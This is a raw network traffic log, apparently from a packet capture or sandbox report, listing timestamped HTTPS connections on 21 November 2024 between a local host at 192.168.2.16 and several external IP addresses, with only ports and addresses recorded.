Nov 21, 2024 14:44:34.246067047 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.253851891 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.253890038 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.253918886 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.253942966 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.254007101 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.261348009 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.267827034 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.267899990 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.267915010 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.274473906 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.274554968 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.274585962 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.281383038 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.281456947 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.281474113 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.287425041 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.287492990 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.287512064 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.293904066 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.293986082 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.294143915 CET	49730	443	192.168.2.16	104.18.95.41
Nov 21, 2024 14:44:34.294178009 CET	443	49730	104.18.95.41	192.168.2.16
Nov 21, 2024 14:44:34.547687054 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.547790051 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:34.547856092 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.547887087 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.547945976 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:34.548017979 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.548088074 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.548105955 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:34.548217058 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:34.548259020 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.807246923 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.807612896 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.807677984 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.809180975 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.809278011 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.809572935 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.809678078 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.809722900 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.855341911 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.861484051 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.861809015 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.861869097 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.863373995 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.863466978 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.863785028 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.863878965 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.863939047 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.864377975 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.864425898 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.911336899 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.912347078 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.912502050 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:35.912539959 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:35.960412025 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.259999037 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260128975 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260221004 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260226011 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.260270119 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260328054 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.260344982 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260441065 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.260498047 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.260510921 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.267913103 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.267996073 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.268012047 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.276264906 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.276343107 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.276355982 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.328372002 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.328392982 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.328808069 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.328955889 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.328999043 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.329140902 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.329205990 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.329282045 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.337990999 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.345385075 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.345503092 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.345516920 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.350048065 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.350081921 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.350184917 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.350529909 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.350550890 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.353750944 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.353863955 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.353950024 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.354013920 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.354095936 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.376390934 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.376523018 CET	443	49725	142.250.184.196	192.168.2.16
Nov 21, 2024 14:44:36.376682043 CET	443	49725	142.250.184.196	192.168.2.16
Nov 21, 2024 14:44:36.376740932 CET	49725	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:44:36.409662962 CET	49725	443	192.168.2.16	142.250.184.196
Nov 21, 2024 14:44:36.409677029 CET	443	49725	142.250.184.196	192.168.2.16
Nov 21, 2024 14:44:36.448421955 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.460886955 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.464756012 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.464843035 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.464874029 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.472564936 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.472665071 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.472681046 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.480407000 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.480487108 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.480501890 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.488516092 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.488576889 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.496018887 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.496094942 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.496109962 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.503876925 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.503968954 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.503971100 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.504002094 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.504060030 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.511815071 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.519841909 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.519980907 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.519995928 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.527445078 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.527517080 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.527539015 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.535379887 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.535449982 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.535471916 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.536489964 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.538917065 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.543175936 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.543272018 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.543291092 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.548965931 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.549012899 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.549046993 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.549078941 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.549144030 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.550961018 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.551063061 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.551079035 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.556816101 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.564615011 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.564663887 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.564723969 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.564738035 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.564800024 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.572377920 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.572458982 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.572524071 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.572570086 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.572570086 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.572599888 CET	443	49731	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.572664976 CET	49731	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.574572086 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.574630976 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.574743986 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.574985981 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.575005054 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.580589056 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.580663919 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.580683947 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.580756903 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:36.580807924 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.581020117 CET	49732	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:36.581047058 CET	443	49732	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.575968027 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.576324940 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.576417923 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.576776981 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.577187061 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.577285051 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.577367067 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.620419025 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.620444059 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.839380026 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.839782953 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.839847088 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.840986013 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.841293097 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.841445923 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:37.841458082 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.841481924 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:37.892441034 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.019625902 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.019758940 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.019866943 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.019879103 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.019942045 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.020014048 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.020031929 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.027492046 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.027571917 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.027581930 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.027611017 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.027674913 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.035829067 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.044410944 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.044506073 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.044527054 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.084399939 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.139130116 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.179400921 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.211149931 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.214957952 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.215053082 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.215049982 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.215114117 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.215194941 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.222815990 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.230642080 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.230735064 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.230842113 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.230906010 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.230981112 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.238718987 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.246335030 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.246436119 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.246459007 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.254179955 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.254267931 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.254329920 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.261943102 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.262017965 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.262034893 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.277513027 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.277621031 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.277771950 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.277789116 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.277863026 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.285331964 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.293109894 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.293195963 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.293204069 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.293220043 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.293279886 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.300915003 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.308820963 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.309108973 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.309170008 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.328551054 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.328736067 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.328917980 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.329281092 CET	49734	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.329319954 CET	443	49734	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.332200050 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.332288980 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.332408905 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.332698107 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.332736015 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.355386972 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.403393030 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.405513048 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.405627012 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.405663967 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.421068907 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.421158075 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.421179056 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.429018021 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.429110050 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.429130077 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.429192066 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.444591045 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.444602966 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.444709063 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.448590994 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.448668003 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.452765942 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.452775955 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.452851057 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.460952997 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.460962057 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.461090088 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.469289064 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.469378948 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.473577976 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.473695040 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.481730938 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.481825113 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.489921093 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.490000010 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.498195887 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.498296022 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.502384901 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.502481937 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.510643959 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.510762930 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.595534086 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.595664978 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.601687908 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.601773024 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.605786085 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.605864048 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.613646984 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.613718987 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.620887041 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.620960951 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.624480009 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.624550104 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.624555111 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.624612093 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.624653101 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.624696016 CET	443	49733	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.624721050 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.624762058 CET	49733	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.627513885 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.627552986 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.627640009 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.627911091 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.627924919 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.641711950 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:38.641784906 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:38.641901970 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:38.642101049 CET	49737	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:44:38.642123938 CET	443	49737	185.156.109.33	192.168.2.16
Nov 21, 2024 14:44:38.780508041 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.780545950 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:38.780633926 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.780864000 CET	49738	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:38.780877113 CET	443	49738	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.550911903 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.551229000 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.551291943 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.552622080 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.552915096 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.553035021 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.553096056 CET	443	49735	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.603476048 CET	49735	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.883543968 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.883848906 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.883873940 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.884234905 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.884567976 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.884669065 CET	443	49736	104.18.94.41	192.168.2.16
Nov 21, 2024 14:44:39.884742975 CET	49736	443	192.168.2.16	104.18.94.41
Nov 21, 2024 14:44:39.927326918 CET	443	49736	104.18.94.41	192.168.2.16
